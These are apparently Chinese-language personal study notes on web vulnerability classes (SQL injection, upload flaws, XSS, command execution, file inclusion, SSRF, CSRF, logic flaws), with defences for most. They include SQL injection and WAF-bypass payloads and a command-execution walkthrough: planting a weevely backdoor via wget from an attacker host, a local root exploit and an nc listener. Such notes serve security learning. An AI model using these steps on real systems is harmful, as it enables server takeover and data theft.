漏洞原理
2.web漏洞原理-------------------------------------------------------SQL注入-------------------------------------------------------------
2.1.SQL注入
1.原因:用户输入的数据被SQL解释器执行。
2.Boolean注入:sql注入测试不会显示报错信息,只能根据正确与错误来猜测,这样可以构造sql语句来判断哪些语句成立,这个又叫sql盲注;
3.时间注入:利用sleep()或benchmark()等函数让时间变长,与if(expr1,expr2,expr3)结合使用,如果expr1为ture,则返回expr2的值,否则返回expr3的值:
if(length(database())>1,sleep(5),1):如果数据库名称大于1,则睡眠5秒,否则返回1,时间利用burpsuite界面右下角可以看得出;
4.SQL盲注:
a.不显示数据库内建的报错信息,程序员隐藏了数据库内建报错信息,替换为通用的错误提示,思路:只能用逻辑真假的不同结果来判断,步骤:
1.利用逻辑真假判断是否sql注入;
2.如果是,利用order by判断参数数量;
3.得知参数,再使用union在其中一个参数注入select语句,如果是mysql就可以查询INFORMATION_SCHEMA查询表、列、数据;
5.substr()函数:substr(database(),1,1):截取database()数据库名称,从第一个字符开始,返回一个;
6.分类:
a.数字型,如id、年龄、页码等,例如http://xxxxxxx/test.php?id=8,测试步骤:
1.http://xxxxxxx/test.php?id=8',这个会使页面报错;2.http://xxxxxxx/test.php?id=8 and 1=1,语句执行正常;3.http://xxxxxxx/test.php?id=8 and 1=2,语句执行正常,确无法查询出正确数据,因为and 1=2 始终为假;满足上面三个,可以判断可能存在sql注入漏洞;
b.字符型:区别与数字型,字符型需要用单引号闭合:
select * from table where username=‘admin’
注入末尾需要用 --' 来闭合最后的 ' ;
7. Order by语句:为select查询的列排序, Order by *,*为查询语句的列数,超出列数会报错,可以判断有多少个参数;然后就可以利用语句,例如ordery by 2没有报错;select 1,2--; 可以1、2填入语句,也可以配合union使用;
8.union语句:
9.Mysql 支持三种注释:#、--、/* */
10.Mysql查询数据库名和表,用自带的INFORMATION_SCHEMA来查询:
11.Mysql的函数利用,例如load_file():
12.Mysql向系统写文件,用into outfile:
13.Sqlmap:
a.命令:sqlmap -u 【URL】 //这个判断是不是注入点
b.sqlmap -u 【URL】后面加一些参数,例如查看数据库用--dbs;
c.使用sqlmap插件:sqlmap -u 【URL】 -tamper "插件名称";这些插件再sqlmap文件夹下tamper中,主要用来绕过WAF检测;
14.Pangoli(穿山甲):
a.界面:
b.操作比较简单,直接输入url,然后点开始自动检测,注入之后会显示数据库;
c.遇到防火墙,可以在配置-高级,选择绕过防火墙;
d.管理界面探索,在工具中,有admin page discover;
15.Havij(sql注入工具):跟Pangolin差不多;
16.防止sql注入的方法:数字类型检测和字符转义:
a.数字:利用函数,将获取客户输入的内容用函数转成数字;
b.字符:将特殊字符转义,然后用编码器,编码存储即可,需要时调出来解码显示;
c.二次注入:在字符转义中,字符被转义/',存在数据库中只有',没有/,然后第二次输入一条注入语句,闭合前一条注入的',第二次注入的语句就被执行,这个就很难防;
17.一些WAF绕过方法:
a.大小写混合:uNion SelEct 1,2,3,4
b.URL编码
c.替换关键字:ununionion selselectect 1,2,3,4
d.使用注释:union/*2333*/ select/*bbbb*/1,2,3,4
e.多参数请求拆分;
f.HTTP参数污染
g.生僻函数
--------------------------------------------------------上传漏洞-------------------------------------------------------------------
2.2.上传漏洞
2.2.1.因为网络对上传检测没有很好的控制,导致攻击者可以上传带恶意程序代码的文件,从而控制web服务器;
1.解析漏洞:一般和上传漏洞一起
a.IIS解析漏洞,在IIS6.0中,新建一个*.asp.1.jpg文件,输入<%NOW()%>,然后上传到服务器,再在浏览器访问,会显示服务器的系统时间;
b.Webdav,这个也是IIS.0上的,扩展了功能之余,增加了漏洞,因为服务可能增加了put、copy、delete、move等功能,这样可以上传文件,改变文件名称,然后执行;
c.Apache解析漏洞:
对于1.php.rar,正常访问这个文件会下载rar文件,但是这个不会,会以php文件执行,如果内容是<%php phpinfo() %>,执行就会显示php服务信息;
d.Nginx解析漏洞(PHP cgi漏洞): 当上传一个带php代码的木马图片到网站,然后在url中访问http://url/1.jpg/1.php,服务器会执行1.jpg里面的内容,因为nginx找不到1.php这个文件,它会向前执行,导致代码被执行;
2.绕过上传检测
a.原理:一般上传文件,会被JavaScript检测,然后再重名了保存文件;程序员一般使用两种方法检测:
1.客户端JavaScript检测文件类型是否正确;
2.服务端检查MIME类型及是否嵌入恶意代码;
b.工具:中国菜刀和Edjpgcom(一句话图片木马)
c.客户端可以通过burp suite修改里面参数来绕过;
3.文本编辑器上传漏洞
a.例如ckeditor,因为文本编辑器可以缩短开发的周期,很多项目上都会使用,会在服务器中存在ckeditor的文件,利用编辑器的漏洞,可以被上传恶意文件;
4.修复上传漏洞:
a.漏洞形成原因:
1.目录过滤不严,会生成奇怪的目录,进行严格过滤;
2.文件未重命名,被利用web容器解析漏洞,对上传的文件重命名;
b.暂无
--------------------------------------------------------XSS漏洞-------------------------------------------------------------------
2.3.XSS漏洞
1.XSS漏洞
a.分成三种类型,反射、存储和Dom型,反射是在输入框输入注入脚本,会发送到服务器然后返回到浏览器执行,Dom也是这样的原理,只不过Dom型利用html里面元素映射成Dom元素来利用,反射和Dom都需要被害者点击链接执行才能成功运用,链接需要增加一些诱惑信息提高成功率,存储型则是存储在服务器,被害者访问XSS存储的位置,被害者浏览器执行后才成功;
b.专业扫描工具:xsser;
c.修复XSS漏洞:
2.PHP提供函数,将特殊字符转为html实体,利用htmlspecialchar()、htmllentities()函数;
3.OWASP Esapi工具包专门来提供防御xss,包含javaEE、asp、net、php、python;
例如:针对JavaScript:String str = ESAPI.encoder().encodeForJavaScritp(String input);
a.XSS漏洞利用:
1.盗取用户Cookie;
2.修改网页内容;
3.网站挂马;
4.利用网站重定向;
5.XSS蠕虫;
--------------------------------------------------------命令执行漏洞---------------------------------------------------------------
2.4.命令执行漏洞
2.4.1.原理:没有过滤好用户输入的数据,很有可能造成用户输入的数据中包含系统指令被执行;主要是命令可以连接执行,linux利用" ; "可以执行下调指令;windows的是" & "或者" && "、||、|:
2.4.2.操作:
2.4.2.1.利用weevely工具生成客户端后门weevely.php,然后打包weevely.tar,命令:
2.4.2.1.1.weevely generate 【密码】 weevely.php 生成后门文件,然后用tar -cvf weevely.php打包成weevely.tar;
2.4.2.2.利用命令;wget http://192.168.0.181/weevely.tar上传到网站目录下:再使用tar -xvf weevely.tar解压;
2.4.2.3.Kali中用weevely连接:
2.4.2.4.提权:在kali中查询searchsploit privilege ubuntu 8.04,找到8572.c,利用这个来提权,在weevely后门界面切换路径到/tmp,将文件用file_upload上传到/tmp中,对其先编译gcc -o exploit 8572.c,chmod 777 exploit;输出exploit;在kali中先侦听一个端口nc -l -p 11111;然后在kali创建run文件,上传到/tmp中,查看/proc/net/netlink,查看到最特别的四位数字,然后./exploit XXXX,即可拿到root:
2.4.4.命令执行类型:1.系统命令执行;2.变成语言内置函数命令执行;
1.php:
a.PHP命令执行:提供外部应用程序:shell_exec()、system()、passthru();exec();
b.php中eval()函数:可以把字符串按照php代码来执行,输入的代码必须是php的可执行代码,而且必须以分号结尾;
c.动态函数调用,输入的是可以改变的函数来执行;
d.PHP函数代码执行漏洞,就是php自带的一些函数存在这漏洞,输入代码可能被执行,例如数组的函数,在value中输入phpinfo()可能被执行;
2.java命令执行:
a.java框架非常大,氛围java SE 、java EE、java ME,不过都是基于java SE;
b.Java EE ,他区别SE在于提供Web组件、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构和Web2.0应用程序开发。
c.java EE strust2的命令执行漏洞,这里有点深入,有需要的时候再研究,看完一些原理,感觉也不难,后续有机会再补充;
2.4.5.防范命令执行漏洞:
1.尽量不要使用系统执行命令;
2.在进入执行命令函数、方法之前,变量一定要做好过滤,对敏感字符进行转义;
3.在使用动态函数之前,确保使用的函数是指定函数之一;
4.对PHP语言来说,不能完全控制的危险函数最好不要使用;
有输入的地方就有可能存在漏洞;
-----------------------------------------------------文件包含漏洞-------------------------------------------------------------------
2.5.文件包含漏洞
2.5.1.原理:程序员在编写代码的时候可能会调用同一个函数,这个函数就被放在一个文件中,需要用到时被调用,此时就需要用到文件包含,才能让系统识别到这个函数,另一方面,这么做就造成一个漏洞,文件包含漏洞;这种漏洞在PHP和其他web application比较多,在JSP、ASP比较少;
2.5.2.类型:
1.PHP 包含
a.分成两种包含LFI(本地文件包含)和RFI(远程文件包含):
i.LFI:函数调用本地的文件执行文件里的PHP代码,只要代码正确都会被执行;
ii.RFI:
b.PHP文件包含利用:
1.读取敏感文件
2.远程包含Shell:这个必须是allwor_url_fopen为On才能用:
这就是一句话木马,利用远程包含文件的方式;
3.利用apache log日志来执行代码:
这个前提还是开启包含和知道apache log日志的路径(为了防御这个,安装apache不要选择默认路径),如果被浏览器转码,利用burp可以处理这个问题;
4.截断包含:
很多程序员将包含的扩展名在url栏中去掉,在后台编码时添加,
2.JSP的文件包含
1.分为静态包含和动态包含,详细待研究;
2.5.3.防范方法:
2.5.3.1.1.严格判断包含中的参数是否外部可控,因为在于外部能够改变这个包含,执行外部想执行的内容;
2.5.3.1.2.路径限制,限制只能在某一文件夹内,禁止跳转字符../等;
2.5.3.1.3.包含文件验证:验证被包含的文件是否白名单的一员(重要);
2.5.3.1.4.尽量不要使用动态包含,可以在需要包含的页面固定写好,例如:include("head.php");
--------------------------------------------------------SSRF漏洞-------------------------------------------------------------------
2.6.SSRF漏洞:
2.6.1.SSRF(Server-Side Request Forgery,服务器端请求伪造),攻击的目标是外网无法访问的内部系统(因为由服务端发起的请求,所以可以访问到内部系统);攻击这利用存在缺陷的web应用作为代理攻击远程和本地的服务器;例如:
2.6.2.SSRF漏洞的修复建议:
2.6.2.1.限制请求的端口只能为Web端口,上面的例子就能访问3306;
2.6.2.2.限制不能访问内网的IP,以防止对内网进行攻击;
2.6.2.3.屏蔽返回信息;
--------------------------------------------------------其它漏洞-------------------------------------------------------------------
2.7.其它漏洞
2.7.1.CSRF(跨站请求伪造)
2.7.1.1.原理也被称为“One Click Attack”,可以这么理解:攻击者盗用你的身份,以你的名义进行某些非法操作。能够使用你的账户发邮件,获取你的敏感信息,甚至盗走你的财产。
2.7.1.2.检测CSRF漏洞
2.7.1.2.1.手动检测:检测是否能利用服务器对被害者的信任,执行攻击者提供的脚本;
2.7.1.2.2.半自动检测:全自动误报率会很高,需要配合手动测试进行,利用OWASP提供的CSRFTest工具进行手动和自动测试,这个CSRFTest需要研究,后续在这里写下原理及操作方法;
2.7.1.3.防御方法
2.7.1.3.1.二次确认:当删除或支付等敏感操作时,弹出框咨询是否确认,达到一定防护效果;
2.7.1.3.2.Token,在session、Cookie中放置Token的方法,验证客户端是否真实的客户;
2.7.2.逻辑错误漏洞
2.7.2.1.原理:程序员在开发程序的时候,因为程序太复杂、太庞大所造成的一些逻辑上的错误,这些错误会导致一些绕过身份验证、越权处理、修改密码、支付问题等;简单的理解:系统要你必须做的,你绕过了这个必须做的到下一步;
2.7.2.2.挖掘步骤:
2.7.2.2.1.了解系统具有的功能,例如修改密码、身份认证;
2.7.2.2.2.针对系统的相关功能流程,详细化操作流程;
2.7.2.2.3.截断http/https,分析里面参数的含义;
2.7.2.2.4.修改截断的参数内容,修改参数,尝试促发逻辑漏洞;
2.7.2.2.5.重复以上2-4的过程,进行查找;
2.7.2.3.绕过授权验证
2.7.2.3.1.水平越权:通过简单的修改url中id的参数内容,可以访问同一水平用户的信息。
2.7.2.3.2.垂直越权:不同级别的用户,可以向上或向下运行不属于本级别的权限;
2.7.2.3.3.两个越权都是没有检测用户的真实性;需要增加函数来获取session来判别用户的级别及权限;
2.7.2.3.4.密码找回逻辑漏洞,在密码找过过程中,需要输入账号,然后会发送重置连接到邮箱,客户在自己邮箱中点击链接重置密码,但是有些程序会在html页面有发送邮箱的地址,黑客通过截断http修改邮箱地址,从而自己邮箱获得修改客户账号密码的链接,从而修改密码;
2.7.2.3.5.支付逻辑漏洞,一般出现在游戏的虚拟币当中,程序没有对负数进行判断导致越买东西,钱越多的情况;
2.7.2.3.6.逻辑漏洞有很多,关键是看程序员的思维,因为程序是闭源,所有我们只能靠猜和模拟地修改http请求参数测试,也就是Fuzz Testing;
2.7.2.3.7.指定账户的恶意攻击,一般输入账号密码都有次数限制,超过次数会被锁和限制,攻击者为了达到不让被害者使用的目的,故意输错导致账号被封,这是攻击的原理和目的;
2.7.3.代码注入
2.7.3.1.owasp定义:客户端提交的数据被服务端当作动态代码或嵌入文件处理;命令执行、文件包含、动态函数调用、代码执行;
2.7.3.2.XML注入:弥补html不足,来传输数据用的,这个可以被注入,但很少见,防御也简单:
2.7.3.3.JSON注入:JSON,Javascript版的XML,也是用来做传输数据用的,用于将对象转为字符串,然后在函数和网络传输,只有Javascript能解释;解决的方法还是对字符进行转义和使用java提供的处理函数;
2.7.3.4.http参数污染:这是在代码中多个变量用&串起来,主要作用是根据WAF和编程语言的取值不同,绕过WAF的一个方法;
2.7.3.5.URL跳转和钓鱼
2.7.3.5.1.URL跳转分为客户端跳转和服务端跳转,客户端跳转是会改变浏览器上的URL地址,而服务的跳转是不会改变浏览器上URL地址;
2.7.3.5.2.案例:QQ号被盗,莫名点击钓鱼链接,输入登录账号和密码,再经过社交工程,获取一定信息后,黑客假冒被害人找财务要求转账;
2.7.3.6.WebServer远程部署漏洞